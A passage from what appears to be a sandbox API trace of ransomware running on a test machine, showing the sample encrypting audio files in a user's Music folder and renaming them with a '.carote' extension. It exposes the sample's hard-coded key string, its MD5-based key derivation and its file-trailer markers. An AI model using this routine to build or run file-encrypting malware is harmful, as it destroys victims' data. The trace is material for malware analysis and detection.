lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcc0480, ftCreationTime.dwHighDateTime=0x1d4d562, ftLastAccessTime.dwLowDateTime=0x6feffed0, ftLastAccessTime.dwHighDateTime=0x1d4caf3, ftLastWriteTime.dwLowDateTime=0x6feffed0, ftLastWriteTime.dwHighDateTime=0x1d4caf3, nFileSizeHigh=0x0, nFileSizeLow=0x143c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7T_HSbo.wav", cAlternateFileName="")) returned 1 [0112.990] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.990] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.990] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7T_HSbo.wav") returned=".wav" [0112.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7T_HSbo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7t_hsbo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.991] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=82885) returned 1 [0112.991] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.993] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1439f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.993] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.994] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.994] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.994] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.994] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x143c5, lpOverlapped=0x0) returned 1 [0112.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.995] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.995] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.996] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.996] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.996] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.996] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.996] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.996] GetLastError () returned 0x0 [0112.996] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.996] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.996] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.996] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x143d0) returned 0x7b182e0 [0112.996] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.996] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.996] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x143c0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x143c0, lpOverlapped=0x0) returned 1 [0112.997] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.997] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x143c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.997] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.997] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.997] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.997] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.997] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.997] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.997] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.997] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.997] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.997] CloseHandle (hObject=0x61c) returned 1 [0112.998] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.998] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.998] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7T_HSbo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7t_hsbo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7T_HSbo.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7t_hsbo.wav.carote")) returned 1 [0113.005] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.005] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.006] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.006] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32736250, ftCreationTime.dwHighDateTime=0x1d4d33f, ftLastAccessTime.dwLowDateTime=0x1e3e5660, ftLastAccessTime.dwHighDateTime=0x1d4d424, ftLastWriteTime.dwLowDateTime=0x1e3e5660, ftLastWriteTime.dwHighDateTime=0x1d4d424, nFileSizeHigh=0x0, nFileSizeLow=0xc66f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8_IgYOYaL.wav", cAlternateFileName="8_IGYO~1.WAV")) returned 1 [0113.006] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.006] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.006] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\8_IgYOYaL.wav") returned=".wav" [0113.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\8_IgYOYaL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\8_igyoyal.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.008] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=50799) returned 1 [0113.008] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.010] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.010] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.011] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.011] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.011] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.011] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xc66f, lpOverlapped=0x0) returned 1 [0113.012] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.012] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.012] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.012] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.012] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.013] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.013] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.013] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.013] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.013] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.013] GetLastError () returned 0x0 [0113.013] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.013] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.013] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.013] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc670) returned 0x7b182e0 [0113.013] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.013] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.013] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xc66a, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xc66a, lpOverlapped=0x0) returned 1 [0113.014] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.014] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc66f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.014] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.014] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.014] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.014] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.014] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.014] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.014] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.014] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.014] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.014] CloseHandle (hObject=0x61c) returned 1 [0113.015] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.015] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.015] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\8_IgYOYaL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\8_igyoyal.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\8_IgYOYaL.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\8_igyoyal.wav.carote")) returned 1 [0113.016] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.016] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.017] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.017] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x665e3990, ftCreationTime.dwHighDateTime=0x1d4d48f, ftLastAccessTime.dwLowDateTime=0x7fbd6120, ftLastAccessTime.dwHighDateTime=0x1d4cc4e, ftLastWriteTime.dwLowDateTime=0x7fbd6120, ftLastWriteTime.dwHighDateTime=0x1d4cc4e, nFileSizeHigh=0x0, nFileSizeLow=0x8af3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9t0ADIaokMSyl.mp3", cAlternateFileName="9T0ADI~1.MP3")) returned 1 [0113.017] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.017] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.017] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\9t0ADIaokMSyl.mp3") returned=".mp3" [0113.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\9t0ADIaokMSyl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\9t0adiaokmsyl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.017] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=35571) returned 1 [0113.017] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.019] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8acd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.019] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.020] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.020] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.020] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.020] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x8af3, lpOverlapped=0x0) returned 1 [0113.021] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.021] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.021] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.021] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.021] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.022] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.022] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.022] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.022] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.022] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.022] GetLastError () returned 0x0 [0113.022] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.022] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.022] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.022] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8af0) returned 0x7b182e0 [0113.022] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.022] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.022] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x8aee, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x8aee, lpOverlapped=0x0) returned 1 [0113.022] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.022] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8af3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.023] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.023] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.023] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.023] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.023] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.023] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.023] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.023] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.023] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.023] CloseHandle (hObject=0x61c) returned 1 [0113.024] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.024] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.024] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.024] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\9t0ADIaokMSyl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\9t0adiaokmsyl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\9t0ADIaokMSyl.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\9t0adiaokmsyl.mp3.carote")) returned 1 [0113.025] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.025] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.025] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.026] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7561690, ftCreationTime.dwHighDateTime=0x1d4c713, ftLastAccessTime.dwLowDateTime=0xf06f4580, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0xf06f4580, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x133e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D4M5dRYR.m4a", cAlternateFileName="")) returned 1 [0113.026] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.026] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.026] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\D4M5dRYR.m4a") returned=".m4a" [0113.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\D4M5dRYR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\d4m5dryr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.026] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=78819) returned 1 [0113.026] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.028] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x133bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.028] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, 